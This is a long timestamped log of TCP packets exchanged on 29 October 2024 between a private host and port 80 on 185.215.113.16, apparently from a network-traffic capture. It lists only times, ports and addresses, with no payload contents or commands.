Oct 29, 2024 20:36:09.206996918 CET	49981	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:09.207026958 CET	49981	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:09.207242012 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.207302094 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.207320929 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.207330942 CET	49981	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:09.207348108 CET	49981	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:09.207377911 CET	49981	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:09.207423925 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.207436085 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.207446098 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.207459927 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.207475901 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.207500935 CET	49981	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:09.207530975 CET	49981	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:09.207631111 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.207643986 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.207657099 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.207706928 CET	49981	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:09.207730055 CET	49981	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:09.207782984 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.207796097 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.207808018 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.207819939 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.207830906 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.207833052 CET	49981	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:09.207873106 CET	49981	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:09.207906961 CET	49981	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:09.208070040 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.208081961 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.208091021 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.208096981 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.208102942 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.208108902 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.208115101 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.208121061 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.208132982 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.208225965 CET	49981	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:09.208249092 CET	49981	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:09.208436966 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.208451033 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.208462954 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.208475113 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.208494902 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.208504915 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.208515882 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.208524942 CET	49981	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:09.208528996 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.208542109 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.208554983 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.208574057 CET	49981	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:09.208614111 CET	49981	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:09.211581945 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.211602926 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.211613894 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.211671114 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.211698055 CET	49981	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:09.211724043 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.211725950 CET	49981	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:09.211738110 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.211764097 CET	49981	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:09.211802006 CET	49981	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:09.211807013 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.211821079 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.211847067 CET	49981	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:09.211863041 CET	49981	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:09.211903095 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.211915970 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.211926937 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.211940050 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.211977005 CET	49981	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:09.212002039 CET	49981	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:09.212058067 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.212070942 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.212090969 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.212146044 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.212146997 CET	49981	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:09.212160110 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.212174892 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.212179899 CET	49981	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:09.212224007 CET	49981	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:09.212269068 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.212281942 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.212291956 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.212304115 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.212357044 CET	49981	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:09.212376118 CET	49981	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:09.212409019 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.212421894 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.212431908 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.212482929 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.212500095 CET	49981	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:09.212503910 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.212512970 CET	49981	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:09.212548971 CET	49981	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:09.366705894 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.366744041 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.366760015 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.366838932 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.366849899 CET	49981	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:09.366859913 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.366880894 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.366899014 CET	49981	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:09.366900921 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.366925001 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.366925955 CET	49981	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:09.366964102 CET	49981	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:09.366969109 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.367041111 CET	49981	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:09.367064953 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.367085934 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.367108107 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.367111921 CET	49981	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:09.367130995 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.367132902 CET	49981	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:09.367155075 CET	49981	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:09.367155075 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.367178917 CET	49981	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:09.367209911 CET	49981	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:09.367297888 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.367325068 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.367376089 CET	49981	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:09.367398024 CET	49981	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:09.367422104 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.367441893 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.367461920 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.367468119 CET	49981	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:09.367481947 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.367484093 CET	49981	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:09.367502928 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.367507935 CET	49981	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:09.367521048 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.367526054 CET	49981	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:09.367538929 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.367547035 CET	49981	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:09.367575884 CET	49981	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:09.367588997 CET	49981	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:09.367705107 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.367726088 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.367747068 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.367768049 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.367779016 CET	49981	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:09.367790937 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.367806911 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.367810965 CET	49981	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:09.367825031 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.367845058 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.367846966 CET	49981	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:09.367863894 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.367885113 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.367891073 CET	49981	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:09.367907047 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.367928028 CET	49981	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:09.367928982 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.367950916 CET	49981	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:09.367990017 CET	49981	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:09.368166924 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.368186951 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.368206978 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.368227005 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.368241072 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.368251085 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.368262053 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.368268013 CET	49981	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:09.368278027 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.368280888 CET	49981	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:09.368293047 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.368311882 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.368335009 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.368381977 CET	49981	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:09.368422031 CET	49981	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:09.368484974 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.368503094 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.368570089 CET	49981	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:09.368603945 CET	49981	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:09.368612051 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.368633032 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.368652105 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.368654966 CET	49981	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:09.368673086 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.368675947 CET	49981	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:09.368693113 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.368700981 CET	49981	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:09.368711948 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.368715048 CET	49981	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:09.368732929 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.368737936 CET	49981	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:09.368753910 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.368757963 CET	49981	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:09.368778944 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.368792057 CET	49981	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:09.368801117 CET	49981	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:09.368803024 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.368827105 CET	49981	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:09.368845940 CET	49981	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:09.368952990 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.369021893 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.369040012 CET	49981	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:09.369044065 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.369069099 CET	49981	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:09.369088888 CET	49981	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:09.369102955 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.369119883 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.369142056 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.369142056 CET	49981	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:09.369163990 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.369177103 CET	49981	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:09.369196892 CET	49981	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:09.369219065 CET	49981	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:09.369221926 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.369244099 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.369265079 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.369267941 CET	49981	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:09.369288921 CET	49981	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:09.369302988 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.369307995 CET	49981	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:09.369323969 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.369343996 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.369344950 CET	49981	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:09.369362116 CET	49981	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:09.369364977 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.369385958 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.369386911 CET	49981	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:09.369409084 CET	49981	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:09.369410038 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.369426966 CET	49981	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:09.369445086 CET	49981	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:09.369695902 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.369718075 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.369739056 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.369756937 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.369779110 CET	49981	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:09.369779110 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.369803905 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.369805098 CET	49981	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:09.369826078 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.369848013 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.369848967 CET	49981	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:09.369870901 CET	49981	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:09.369870901 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.369894028 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.369903088 CET	49981	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:09.369916916 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.369929075 CET	49981	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:09.369937897 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.369945049 CET	49981	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:09.369960070 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.369967937 CET	49981	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:09.369978905 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.369988918 CET	49981	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:09.369999886 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.370016098 CET	49981	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:09.370023012 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.370035887 CET	49981	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:09.370054007 CET	49981	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:09.370084047 CET	49981	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:09.370311022 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.370327950 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.370347023 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.370368958 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.370381117 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.370393991 CET	49981	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:09.370405912 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.370410919 CET	49981	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:09.370419979 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.370441914 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.370461941 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.370461941 CET	49981	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:09.370485067 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.370496988 CET	49981	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:09.370512009 CET	49981	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:09.370552063 CET	49981	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:09.370667934 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.370682955 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.370703936 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.370722055 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.370738029 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.370744944 CET	49981	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:09.370753050 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.370764017 CET	49981	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:09.370770931 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.370784998 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.370800018 CET	49981	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:09.370800972 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.370816946 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.370822906 CET	49981	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:09.370836020 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.370852947 CET	49981	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:09.370853901 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.370874882 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.370878935 CET	49981	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:09.370894909 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.370913029 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.370918989 CET	49981	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:09.370943069 CET	49981	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:09.370975018 CET	49981	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:09.371124029 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.371145010 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.371166945 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.371186972 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.371202946 CET	49981	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:09.371207952 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.371227026 CET	49981	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:09.371262074 CET	49981	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:09.371289968 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.371306896 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.371332884 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.371349096 CET	49981	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:09.371352911 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.371372938 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.371377945 CET	49981	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:09.371395111 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.371413946 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.371417999 CET	49981	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:09.371436119 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.371458054 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.371479034 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.371493101 CET	49981	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:09.371493101 CET	49981	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:09.371498108 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.371516943 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.371531963 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.371536016 CET	49981	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:09.371548891 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.371563911 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.371567965 CET	49981	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:09.371581078 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.371599913 CET	49981	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:09.371607065 CET	49981	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:09.371644020 CET	49981	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:09.372000933 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.372016907 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.372030973 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.372045040 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.372061014 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.372075081 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.372083902 CET	49981	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:09.372091055 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.372106075 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.372122049 CET	49981	80	192.168.2.7	185.215.113.16
